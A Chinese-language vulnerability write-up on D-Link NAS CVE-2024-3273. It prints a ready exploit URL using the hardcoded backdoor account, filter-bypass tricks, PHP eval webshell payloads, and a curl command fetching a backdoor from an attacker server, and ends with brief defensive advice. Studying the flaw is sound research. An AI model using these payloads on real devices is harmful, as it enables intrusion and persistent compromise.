D-Link RCE 的一次简单绕过
字数 1193 2025-08-29 22:41:32
D-Link RCE漏洞(CVE-2024-3273)分析与绕过技术详解
漏洞概述
漏洞编号: CVE-2024-3273
影响产品: D-Link网络存储(NAS)设备
漏洞类型: 命令注入+后门账户
风险等级: 高危
影响范围: 使用nas_sharing.cgi脚本的D-Link NAS设备
漏洞成因分析
该漏洞由两个关键问题组成:
-
硬编码后门账户:
- 用户名:
messagebus - 密码: 空
- 用户名:
-
命令注入漏洞:
- 位于
/cgi-bin/nas_sharing.cgi脚本中 system参数存在未过滤的命令注入- 通过HTTP GET请求触发
- 位于
漏洞验证方法
基本验证方式
访问以下URL验证漏洞是否存在:
/cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=aWQ=
其中:
user=messagebus: 使用硬编码后门账户passwd=: 空密码cmd=15: 固定参数system=aWQ=: 要执行的命令(base64编码),此处aWQ=是id命令的base64编码
验证结果判断:
- 如果返回当前用户ID信息,则存在漏洞
- 无响应或错误响应则可能不存在漏洞
漏洞利用技术
基本利用流程
-
构造恶意请求:
/cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=<base64编码的命令> -
命令需要先进行base64编码:
echo -n "id" | base64 # 输出: aWQ=
写入文件测试
尝试写入PHP文件:
echo '<?php phpinfo();?>' > /var/www/html/666.php
base64编码后:
echo -n "echo '<?php phpinfo();?>' > /var/www/html/666.php" | base64
空格过滤绕过技术
发现空格被过滤时,可使用以下替代方法:
-
使用Tab键替代空格:
- 原始命令:
ls / -al - 替换后:
ls<tab>/-al(其中表示Tab字符)
- 原始命令:
-
其他可能的空格替代方案:
${IFS}(内部字段分隔符)<或>重定向符号%09(URL编码的Tab)
魔术引号绕过技术
当PHP的magic_quotes_gpc开启时(默认在PHP 5.2),特殊字符会被自动转义,需要绕过:
-
使用stripslashes()函数:
<?php eval(stripslashes($_POST['cmd']));?>base64编码:
echo -n "echo '<?php eval(stripslashes(\$_POST[\"cmd\"]));?>' > /var/www/html/8.php" | base64 -
其他绕过方法(文中提到未成功):
base64_decode()传输代码chr()逐字符拼接call_user_func()动态调用- 双重
str_replace()
文件写入与WebShell部署
-
写入phpinfo测试文件:
echo '<?php phpinfo();?>' > /var/www/html/info.php -
写入WebShell:
echo '<?php eval(stripslashes($_POST["cmd"]));?>' > /var/www/html/shell.php -
从远程下载WebShell:
curl vps_ip:8000/qsd-php-backdoor.php -o /var/www/html/theme-config.php
防御建议
-
厂商修复方案:
- 移除硬编码账户
- 对system参数进行严格过滤
- 升级固件版本
-
临时缓解措施:
- 禁用nas_sharing.cgi脚本
- 配置防火墙规则限制访问
- 监控异常访问日志
-
用户防护建议:
- 及时更新设备固件
- 修改默认凭证
- 限制管理界面访问
总结
CVE-2024-3273漏洞结合了硬编码凭证和命令注入两大安全问题,攻击者可在未授权情况下实现远程代码执行。通过本文分析的各种绕过技术,特别是针对空格过滤和魔术引号的绕过方法,安全研究人员可以更全面地评估该漏洞的影响范围和危害程度。